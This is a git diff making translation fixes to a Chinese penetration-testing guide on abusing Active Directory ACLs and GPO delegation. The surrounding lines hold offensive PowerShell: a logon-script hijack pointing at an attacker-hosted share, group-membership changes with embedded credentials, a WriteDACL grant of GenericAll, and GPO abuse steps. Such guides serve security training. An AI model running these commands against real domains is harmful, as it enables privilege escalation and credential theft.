diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 1cdfc4b42..33e0b8cd7 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -2,12 +2,12 @@ {{#include ../../../banners/hacktricks-training.md}} -**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术总结。有关更多详细信息,请查看原始文章。** +**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术。有关更多详细信息,请查看原始文章。** -## BadSuccesor +## BadSuccessor {{#ref}} -BadSuccesor.md +BadSuccessor.md {{#endref}} ## **用户的 GenericAll 权限** @@ -86,13 +86,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` ## **GenericWrite on User** -此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令来更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本。 +此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现的。 ```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite on Group** -通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用该对象将用户添加或移除组,并使用 PowerShell 命令验证成员资格更改。 +通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用它来添加或移除用户,并使用 PowerShell 命令验证成员资格更改。 ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -102,7 +102,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -拥有一个 AD 对象并对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。 +拥有一个 AD 对象并且对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。 ```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -112,23 +112,23 @@ $ADSI.psbase.commitchanges() ``` ## **域上的复制 (DCSync)** -DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md) +DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,允许攻击者在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md) ## GPO 委派 ### GPO 委派 -委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用以进行恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用用于恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` ### 枚举 GPO 权限 要识别配置错误的 GPO,可以将 PowerSploit 的 cmdlet 链接在一起。这允许发现特定用户有权限管理的 GPO:`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**应用了给定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**应用特定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` **应用于特定计算机的策略**:要查看应用于特定计算机的策略,可以使用 `Get-DomainGPO` 等命令。 -**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。 +**应用特定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。 您还可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并查找其中的问题。 @@ -153,17 +153,17 @@ SharpGPOAbuse 提供了一种通过添加任务或修改设置来滥用现有 GP ``` ### 强制策略更新 -GPO 更新通常每 90 分钟发生一次。为了加快这个过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。 +GPO 更新通常每 90 分钟发生一次。为了加快此过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。 -### 背后原理 +### 背后的机制 -检查给定 GPO 的计划任务时,例如 `Misconfigured Policy`,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。 +检查给定 GPO 的计划任务时,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。 任务的结构,如 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体细节,包括要执行的命令及其触发器。该文件表示如何在 GPO 中定义和管理计划任务,提供了一种作为政策执行一部分执行任意命令或脚本的方法。 ### 用户和组 -GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组中,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。 +GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。 用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以授予特定用户在受影响系统上的提升权限。这种方法提供了一种通过 GPO 操作直接进行权限提升的途径。